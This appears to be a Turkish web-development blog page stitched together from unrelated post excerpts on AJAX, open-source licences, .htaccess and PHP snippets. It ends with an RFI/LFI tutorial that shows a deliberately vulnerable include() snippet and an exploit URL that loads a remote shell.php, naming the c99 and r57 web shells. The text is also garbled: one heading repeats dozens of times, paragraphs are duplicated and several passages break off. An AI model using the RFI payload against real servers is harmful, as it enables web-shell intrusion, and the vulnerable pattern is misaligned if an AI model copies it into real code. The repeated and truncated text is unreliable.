Farklı tarayıcılar XMLHttpRequest nesnesini yaratmak için farklı işlevler kullanırlar.
Internet Explorer bir ActiveXObject kullanırken, diğer tarayıcılar XMLHttpRequest adı verilen Javascript nesnesini kullanırlar.
Bu projeyi oluşturmak ve farklı tarayıcılarla başa çıkmak için bir “try – catch” ifadesi kullanacağız.
Önceden oluşturduğumuz “testAjax.htm” dosyamızı XMLHttpRequest nesnesini oluşturan Javascript kodumuzla güncelleyelim.:

İlk AJAX uygulamanız

Ajax ‘ın nasıl çalıştığını anlamak için küçük bir ajax uygulaması oluşturacağız.
İlk önce, username ve time adında iki metin girişi bulunan standart bir HTML formu oluşturacağız. username alanı kullanıcı tarafından doldurulacak ve time alanı AJAX tarafından doldurulacak.
Oluşturduğumuz HTML dosyasının adı “testAjax.htm” olsun (bu formda gönder tuşunun olmadığına dikkat edin!):

AJAX Http İstemleri

AJAX Http İstemleri kullanır
Geleneksel JavaScript kodlarında, eğer sunucudaki bir veritabanından yada dosyadan bilgi almak isterseniz, yada sunucuya kullanıcı girdisini göndermek isterseniz bir HTML formu oluşturup GET yada POST yöntemlerinden biriyle sunucuyla veri alışverişi yaparsınız. Kullanıcı veriyi göndermek/almak için formdaki “Gönder” vb. bir düğmeyi tıklar, sunucunun yanıtını bekler ve sonuçları yeni yüklenen sayfada görür.
Kullanıcının her veri girişinde sunucunun yeni bir sayfa oluşturmasını beklemesi nedeniyle geleneksel internet uygulamaları daha yavaş çalışabilir ve daha az kullanıcı dostu olabilir.

AJAX a giriş

AJAXAsynchronous JavaScript And XML” ‘in kısaltılmışıdır.
Derse başlamadan önce bilmeniz gerekenlerDerse başlamadan önce aşağıdakiler hakkında temel olarak bilgi sahibi olmanız gerekir:
HTML / XHTML
JavaScript

AJAX = Asynchronous JavaScript and XML
AJAX yeni bir programlama dili değildir, daha iyi, daha hızlı ve daha etkileşimli web uygulamaları geliştirmek için bir tekniktir.
AJAX ile Javascript kodunuz, XMLHttpRequest nesnesini kullanarak sunucuyla doğrudan iletişim kurabilir. Bu nesne ile javascript kodlarınız sayfa yenilenmeden bir sunucuyla veri alışverişi yapabilir.

Lisans Gerektirmeyen Programlar

NU Özgür Belgeleme Lisansı.Bu lisansın amacı, bir kullanıcı kılavuzuna, bir ders kitabı veya başka işlevsel ve faydalı bir belgeye, herkesin, etkili bir kullanım hakkıyla, ticari veya gayri-ticari, değiştirerek ya da olduğu gibi, almak ve tekrar dağıtmak özgürlüğü anlamında, serbest kullanım hakkı vermektir.İkincil olarak, bu Lisans, yazar ve yayıncının, başkaları tarafından yapılan değişiklikler sebebiyle sorumlu olduklarını düşünmeden, bir bakıma yaptıkları işten saygınlık kazanmalarını da sağlar

Açık Kaynak Programların Araştırılması

Açık Kaynak İşletim Sistemleri
Türkiye Bilişim’le, Bilişim Açık Kaynak Yazılımlarla Gelişir !
nsanlık, Bilim, Teknoloji, Bilgi, Bilişim ve İnternetin başını çektiği yeni bir toplum biçimine geçişin sancılarını çekiyor: Bilİgi Toplumu. Bilgi Toplumuna giden yolda ulaşımdan savunmaya, üretimden dağıtıma, eğitimden sağlığa, ticaretten kamu yönetimine, iletişimden eğlenceye yaşamın tüm boyutlarını düzenleyen akılllı cihaz ve sistemlerin önemli bir bileşeni yazılımdır. Açık kaynak kod yazılımlar, adı üstünde, kaynak kodları herkesin incelemesine ve kullanımına açık yazılımlardır. Bu tür yazılımların ayıredici özelliği kullanıcıya yazılımı değiştirme özgürlüğü sağlamasıdır. Acık kaynak kod yazılımlar, ücretsiz, uyarlanabilir, sağlam, hızlı ve güvenlidir. Açık kaynak kod dünyası, yeni bir yazılım üretme biçimi, yeni iş modelleri sunmaktadır. Dünyanın her tarafından bilişim uzmanlarınca imece yöntemi ile endüstri standartlarında geliştirilen açık kaynak kod yazılımları, insanlığın ortak malıdır.
Açık kaynak yazılımlar, en küçüğünden cep telefonu, saat gibi gömülü sistemlerden, en büyüğünden süperbilgisayarlara, ev kullanıcılarından KOBİ’lere, kamu kurumlarından her türden okullara, tüm kurum ve bireylerin rahatça kullanabileceği, gereksinimlere göre basitleştirilebilen, sağlamlaştırılabilen, güçlendirilebilen yazılımlardır. Açık kaynak kod yazılımlar, her alanda çözümler sunarak, yazılım tekellerine karşı tüketiciye seçenekler sunmaktadır. Almanya, İspanya, Meksika, Brezilya, Çin, Kore, Hindistan gibi bir çok ülke, kamu kurumlarında açık kaynak kod yazılımlarının kullanımını şimdiden benimsemiş ve bilgi toplumu stratejilerin bir parçası yapmışlardır. Avrupa Birliği, UNESCO, Dünya Bankası gibi kuruluşlar güvenlik ve tasarruf gibi gerekçelerle açık kaynak yazılımlarını önermektedir. Dünya üzerindeki hemen her ülke kendi gereksinimlerine göre açık kaynak kodlu bir Linux dağıtımı geliştirmiştir. Ülkemizde de TÜBİTAK’ın girişimi ile bu yönde ULUDAĞ: Ulusal Dağıtım Projesi başlatılmış ve bir Linux dağıtımı olan Pardus Ulusal İşletim Sistemi hazırlanmıştır. Ülkemizde açık kaynak kod camiası 10 yılı aşkın bir süredir bulunmakta, Turkuaz, Gelecek, İstanbulx, Boreas, Turkix gibi dağıtımlar ve başka açık kaynak kodlu yazılımlar ve uygulamalar geliştirilmekte, yerli açık kaynak firmaları kurulmaktadır.

Neden Linux En İyisi?

Bence, insanlar özgür ya da bedava olduğu için değil, Windows’ta olmayan güzel özellikleri sayesinde Linux’a geçecekler. İşte size Linux’un neden daha iyi olduğunun birkaç kanıtı!
Bence, insanlar özgür ya da bedava olduğu için değil, Windows’ta olmayan güzel özellikleri sayesinde Linux’a geçecekler. İşte size Linux’un neden daha iyi olduğunun birkaç kanıtı!
Bundan önce, eğer zaten tecrübeli bir Linux kullanıcıysanız belki buradakileri okumak istersiniz: Sık Sorulan Sorular.
(Açıklamayı görmek için resme tıklayın)

Gpl Nedir? Açık Kaynak Kod Nedir?

pl Nedir
Gpl’ nin açılımı General Public License yani Genel Kamu Lisansıdır.  Çıkış sebebi açık kaynaklı kodların kapatılıp ticaret için kullanılması durumundan hoşlanmayan Richard Stallman tarafından oluşturulmuştur. Anlıyacagınız üzere Gpl özgür yazılımı koruyan bir belgedir. Size şimdi GPL ‘ yi daha iyi tanımanız için  birkaç lisans ile ile karşılaştırma  yapılmış bi resmi göstermek istiyorum.

Konami Kodu İle Ziyaretçilerinizi Şaşırtın

Konami Kodu
Konami Kodu
Efsanevi oyun şirketi Konami’nin, oyunlarında kullandığı ‘hile’ kodu Konami Code , son zamanlarda internet üzerinde tekrar popüler olmaya başladı. Çoğu web sitesi, Konami Kodu ile ziyaretçilerine çeşitli süprizler hazırlıyor. Örneğin, JQUERY‘nin sitesine girip Konami Kodunu uygulayın.
Konami Kodu : YUKARI – YUKARI – AŞAĞI – AŞAĞI – SOL – SAĞ – SOL – SAĞ – B – A (Bazı sitelerde en sonda ENTER tuşuna basmak gerekiyor.)
Diğer Konami Kodu içeren sitelere bu adresten ulaşabilir (Siteye girmek için ne yapmanız gerekiyor bilin bakalım :) ) yada bildirgec’te
Konami Kodu
Konami Kodu
Efsanevi oyun şirketi Konami’nin, oyunlarında kullandığı ‘hile’ kodu Konami Code , son zamanlarda internet üzerinde tekrar popüler olmaya başladı. Çoğu web sitesi, Konami Kodu ile ziyaretçilerine çeşitli süprizler hazırlıyor. Örneğin, JQUERY‘nin sitesine girip Konami Kodunu uygulayın.

Htaccess İle Seo Dostu Url Yapma

Web sitelerinde çokca gördüğümüz php_ile_programlama.html yada index.php/php/kodkutuphanesi şeklindeki seo dostu url oluşturmak isteyip de bu konuda anlaşılır kaynak bulamayanlar için bu konuyu basitçe anlatacağım.
Bu şekilde urllere sahip olmak için .htaccess (hypertext access) dosyamızda birkaç ufak değişiklik yapmamız yeterlidir.Aslında htaccess birçok yeteneği olan apache sunucu ayar dosyasıdır.root dizininde bulunur ve sunucudaki ayarları yapılandırmayı sağlar. Biz şimdilik sadece yönlendirme özelliğini kullanacağız.
ÖNEMLİ: Eğer bu konuda bilgili değilseniz .htaccess dosyası ile oynamayınız.Yoksa web siteniz çalışmaz.

Kriz ve Yazılım araştırmasının sonuçları açıklandı

Yazılım yatırımı yapanlara karmaşık sistemler yerine esnek yerel çözümlerine yönelmelerini, proje maliyetleri ile karlılık arasındaki pozitif dengeyi kurmalarını ve e-iş modellerinde yetkinlik kazanmalarını öneren araştırma, Orta Amerika Bilimsel Araştırma ve Eğitim Merkezi Başkan Yardımcısı Dr. Fuat Alican tarafından hazırlandı. Araştırmanın yazılım firmalarına yönelik kriz reçetesinde ise; inovasyon, farklılaşma, kiralanabilen yazılım modelleri ve müşterileri kriz döneminde nakit akımı aracı olarak görmeyip onların gereksinimlerine odaklanma yer alıyor.
Türk yazılımının öncü kuruluşu Netsis’in sponsorluk desteğiyle Türkiye’de yayımlanan “Kriz ve Yazılım” başlıklı araştırma, adını ilk olarak 2006′da Yazılım Sanayicileri Derneği (YASAD) adına hazırlanan Türkiye Yazılım Stratejisi adlı eseriyle duyuran Orta Amerika Bilimsel Araştırma ve Eğitim Merkezi (CIFOCICA) Başkan Yardımcısı Dr. Fuat Alican tarafından küresel ve yerel ekonomide son dönemde yaşanan değişimler ve eğilimler dikkate alınarak hazırlandı. Araştırma raporu, krizin yazılım sektörüne etkilerinin yanı sıra şirketlerin ekonomik kriz döneminde yazılım kullanımı ile alabilecekleri önlemlere ışık tutuyor.
Yazılımcılar, krizde müşteri gereksinimlerine odaklanmalı

Açık Kaynak Tarihçesi

Açık Kaynak
 TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
Tarihçesi
Açık 
Kaynak TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
Tarihçesi
Açık 
Kaynak TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
TarihçesiAçık Kaynak 
Tarihçesi

PHP ile Ziyaretçi sayacı

Php ile hazırlanmış mysql kullanan ve ziyaretçilerimizi haricen listeleyebildiğimiz ve nereden giriş yaptıklarını görebildiğimiz güzel bir uygulama.
•Php ile hazırlanmış web sitenizde kullanabileceğiniz bir sayaç uygulamasıdır.
•Veri tabanı olarak mysql kullanılmaktadır.
•Aynı anda online kullanıcı sayısı, toplam kullanıcı sayısı, ziyaretçi ip, dün ve bugüne ait toplam tekil ziyaretçi sayısını gösterir.
•Ayrıca veri tabanına yapılan ziyaretçi kayıtlarını phpmyadmin’e girmeden görmenize olanak tanır.

W3C – XHTML Hataları ve Çözümleri

Bugün size W3C – XHTML Hataları ve Çözümleri adlı konuda bir kaç taktik göstericem. Yapımı gayet kolay ve bazı teknik hatalardan oluşan hataları düzeltip onarmaya çalışacaz. Ama ilk önce W3C nedir onu öğrenelim..

W3C Nedir?

W3C ; Web standartlarını belirleyen bir örgüt ismidir (diye biliyorum).

sql injection deneyenlerin ip banla

basit bişey yaptım amatörce paylaşım işe yarasın bari geliştiren olursa güzel bişey aslında
haber.php?Id=’a vs yani int olmayan degerler girildiginde adres satırına ip banlıyor. aynı ipten tekrar yaparsa veri tabanındaki saat güncelliyor
biraz ileri gidilip belli bir zaman sonra ip banı otomatik kaldırılabilir vs işte
ip.php

php ile oturum tanımlarken ilave güvenlik

php ile kod çalışıkren, güvenlik için sessionlara güvenmek de belli bir yere kadardır.
Session tanımlerken kendi güvenliğimizi de düşünmemiz lazım. Çünkü Apache sunucu her bir kişi için tek oturum tutar. Bunun anlamı aynı ip den giren kişi her sunucuya tek bir oturumla girer. Bu durumda oturum dizisi aşağıdaki gibi bir görünüm arzeder.

Php İle Gerçek IP Adresini Bulma

Uzun zamandır kullandığım ve sonuçlarından memnun kaldığım bir php fonksiyonunu sizlerle paylaşmak istedim. Php ile script yazmaya başlayanların oldukça işine yarayacağından eminim.
Fonksiyonumuz kullanıcının modeminin servis sağlayıcısından aldığı gerçek ip adresini göstermektedir. Hatta şirket hatlarında kullanılan 10.10.114.xxx veya 192.168.xxx.xxx tarzı ip adresletini bile göstermektedir. İnternet camiasında proxy denen meretten kurtulmanın yolu hiçbir zaman olmadığı gibi bunda da yoktur sanırım ama yine de fonksiyonun sonuçları tatmin edici durumda.

PHP ile Türkçe Gün ve Ay Gösterimi

Merhaba arkadaşlar,
PHP ile günleri veya ayları yazdırdığımızda ekrana çıktısı İngilizce olarak gelmektedir. Fakat PHP nin str_replace(); fonksiyonunu kullanarak İngilizce gelen verileri Türkçe olarak değiştirip ekrana yazdırarak tamamen Türkçe tarih elde edebiliriz..Gelelim yapılışına:
Temel mantık array içindeki verilerin yerlerini değiştirmek..İlk önce array içinde aynı sırada İnglizce ve Türkçe tarihleri değişkene aktardık.Sonra yine bir değişkene tarih yazdırmak için date(“d-M-Y”);
fonksiyonunu atadık.En son str_replace(); ile gelen verileri değiştirdik.

stripslashes() fonksiyonu nedir nasıl kullanılır ?

Veritabanı kayıt işlemlerinde tek tırnak ve çift tırnaklardan kaynaklı problemler yaşamamak için addslashes() ve stripslashes() fonksiyonlarını kullanıyoruz. addslashes() fonksiyonunu bilmeyenlerin öncelikle şurayı okumaları gerekmektedir.
Veritabanında problem çıkmaması için tırnak işareleri önüne addslashes() fonksiyonu ile “/” slaş ekledik. Peki bunları sayfamızda gösterirken slaşlı mı göstereceğiz ? Bu kötü bir görüntü oluşturmaz mı
Veritabanı kayıt işlemlerinde tek tırnak ve çift tırnaklardan kaynaklı problemler yaşamamak için addslashes() ve stripslashes() fonksiyonlarını kullanıyoruz. addslashes() fonksiyonunu bilmeyenlerin öncelikle şurayı okumaları gerekmektedir.
Veritabanında problem çıkmaması için tırnak işareleri önüne addslashes() fonksiyonu ile “/” slaş ekledik. Peki bunları sayfamızda gösterirken slaşlı mı göstereceğiz ? Bu kötü bir görüntü oluşturmaz mı ?
Kötü görüntü olmasını istemeyiz elbet. O halde tırnak işaretlerinden önceki slaşları kaldırmamız gerekecek. Bunun için veritabanının ilgili alanından çektiğimiz veriyi stripslashes() fonksiyonu ile süzmemiz gerekmektedir. Bu fonksiyon ile tırnak işaretleri önünde ki kaçış slaşları temizlenmiş olur.
Aşağıda ki örnekte bunu daha iyi anlayabilirsiniz.

Php ile linkinizi Gizleyin

Elimizde 3 Adet sayfa olduğunu düşünelim
Mesela İletisim.php, Hakkimizda.php, Urunler.php
Şimdi bunların Linklerini gizleyelim tek sayfa gibi algılanmasını sağlayalım
Php Kodu:

Php Dilinin Yapısı

PHP, HTML gömülü bir dildir. Yani aynı dosya içinde hem HTML, hem de PHP kodu kullanılabilmektedir. Kod içinde HTML’den PHP’ye geçmek için bazı ayıraçlar kullanılması gerekir. Örneğin:

< TABLE SIZE=”500″ >
< TR >
< TD >< ? Buraya PHP kodu yazılacak ?> < TD >

>
HTML taglari içinde de PHP kullanmak için şu metod seçilmeli:
< TABLE SIZE=”< ? php Buraha PHP kodu yazılacak ? >” …
Sayfaya Yazı Yazdırma:
< ? php echo”Merhaba Uzaylı”; ? >
Bu kodu tarayıcımız bize: ‘Merhaba Uzaylı’ şeklinde gösterecektir.

Noktala İşaretlerine Kontrol Eden Php Kodumuz

oktalama hatalarını bir nebzede düzeltebilen nacizade bir fonksiyon:
Düzeltebildiği hatalar:
1. Noktalama işaretlerinin bir önceki kelimeye bitişik yazılmaması.
2. Noktalama işaretlerinden sonra bir boşluk bırakılmaması.
3. Üç nokta yerine 4, 5 ya da daha fazla nokta konulması.
4. Metnin en sonunda üç nokta kullanılması.
5. Metnin içinde herhangi bir yerde birden fazla boşluk bırakılması.
6. Paragraflar arası boşluk bırakmak için boş satırlar bırakılması.
7. Noktadan sonra cümleye küçük harfle başlanması.
PHP- Kodu:

İşte CodeIgniter PHP

\
Ateş Seni Çağırıyor !
Code Igniter Nedir?
Code Igniter, web sitelerini PHP kullanarak yazan kişiler için yeni bir araçtır. Sizi spagetti kodlarla boğuşmaktan kurtarıp daha basit ve daha temiz kod yazmanızı sağlar. Böylece projelerinizi her zamankinden daha kısa bir sürede tamamlayabilirsiniz.
Code Igniter kimler içindir?
1. Devasa olmayan küçük ve hızlı bir uygulama çatısı isteyenler için
2. PEAR gibi kütüphaneleri ilginç bulmayanlar için
3. Çok az bir konfigürasyon değişikliği gerektiren bir çatı isteyenler için
4. Komut satırı gerektirmeyen bir çatı isteyenler için
5. Karmaşık, birbiri içerisine geçmiş kodlar istemeyenler için (spagetti kod)
6. PHP’nin farklı sürümlerinde ve yapılandırmalarında sorunsuz çalışan yüksek uyumluklu bir çatı isteyenler için

PHP’de RFI/LFI Açıkları ve Korunmak İçin Yapılması Gerekenler

*Remote File İnclude: Uzaktan Dosya Dahil Etme anlamına gelmektedir.
*Local File İnclude: ise Aynı serverdan dosya dahil etme anlamına gelmektedir…
include / include_once : Bu kodla uzaktan dosya dahil edilir.Uzun satırlar alan kodlar bu komutla başka sayfada kodlanmış olarak gösterilerek tek satıra indirgenir…

require / require_once :
Bu kod da aynı include kodunun yaptığı işi yapar,fakat include ile kodlanmış bi sayfada çağrılan(dahil edilen) dosya bulunamazsa php yorumlayıcımız bu kodun olduğu satırı hata mesajı göndererek atlar ve sayfanın diğer kalan kodlarını yorumlamaya devam eder fakat include komutundan sonra require komutu da kullanılmışsa; çağırılan dosya bulunamadığı taktirde bir hata verir ve yorumlamayı durdurur. require in include den farkı budur. Yine de RFI/LFI açığı bulurken require ile include aynı derecede işimize yarar(ilerde görücez).
variable : Değişken anlamına gelmektedir.Bizim açığımız da bu kodlamadan kaynaklanmaktadır. Yani örneğin ; include ile bi dosya, sayfaya dahil edilirken komutun içinde değişkenler de bulunur (örnek bi değişken : $external). Bu değişken aynı sayfada define edilmezse yani
*Remote File İnclude: Uzaktan Dosya Dahil Etme anlamına gelmektedir.
*Local File İnclude: ise Aynı serverdan dosya dahil etme anlamına gelmektedir…
include / include_once : Bu kodla uzaktan dosya dahil edilir.Uzun satırlar alan kodlar bu komutla başka sayfada kodlanmış olarak gösterilerek tek satıra indirgenir…

require / require_once :
Bu kod da aynı include kodunun yaptığı işi yapar,fakat include ile kodlanmış bi sayfada çağrılan(dahil edilen) dosya bulunamazsa php yorumlayıcımız bu kodun olduğu satırı hata mesajı göndererek atlar ve sayfanın diğer kalan kodlarını yorumlamaya devam eder fakat include komutundan sonra require komutu da kullanılmışsa; çağırılan dosya bulunamadığı taktirde bir hata verir ve yorumlamayı durdurur. require in include den farkı budur. Yine de RFI/LFI açığı bulurken require ile include aynı derecede işimize yarar(ilerde görücez).
variable : Değişken anlamına gelmektedir.Bizim açığımız da bu kodlamadan kaynaklanmaktadır. Yani örneğin ; include ile bi dosya, sayfaya dahil edilirken komutun içinde değişkenler de bulunur (örnek bi değişken : $external). Bu değişken aynı sayfada define edilmezse yani tanımlanmazsa burda bu açık kullanılabilir…
Remote File İnclude (RFI)
Uzaktan dosya dahil etme anlama gelen RFI da tanımlanmamış değişkenler tanımlanır ve açık varsa istenilen değere atanır… örneğin ; shell(c99,r57 vs… ).

include ($external. ’../function.php’) ;
?>
Bu Kodu,
Vermiş olduğum bu kodu x.php olarak kaydedip php destekleyen bi hosta atın ve çalıştırın.Bu sayfayı çalıştıdığınızda bi hata alıcaksınız.Bu hata dahil ettiğimiz function.php dosyasının bulunamamasından kaynaklanmaktadır,bu bizi ilgilendirmiyor.
www.site.com/x.php?external=http://www.sitemiz.com/shell.php?
Açık yukarıdaki gibi kullanılabilir.Engellemek için :

$external= ’data’;
include ($external. ’../function.php’);
?>
Vermiş olduğum bu kodu da x2.php olarak kaydedip hostunuza atın ve yine bu sayfayı açtığınız zaman tekrar function.php dosyasının b
*Remote File İnclude: Uzaktan Dosya Dahil Etme anlamına gelmektedir.
*Local File İnclude: ise Aynı serverdan dosya dahil etme anlamına gelmektedir…
include / include_once : Bu kodla uzaktan dosya dahil edilir.Uzun satırlar alan kodlar bu komutla başka sayfada kodlanmış olarak gösterilerek tek satıra indirgenir…

require / require_once :
Bu kod da aynı include kodunun yaptığı işi yapar,fakat include ile kodlanmış bi sayfada çağrılan(dahil edilen) dosya bulunamazsa php yorumlayıcımız bu kodun olduğu satırı hata mesajı göndererek atlar ve sayfanın diğer kalan kodlarını yorumlamaya devam eder fakat include komutundan sonra require komutu da kullanılmışsa; çağırılan dosya bulunamadığı taktirde bir hata verir ve yorumlamayı durdurur. require in include den farkı budur. Yine de RFI/LFI açığı bulurken require ile include aynı derecede işimize yarar(ilerde görücez).
ebook library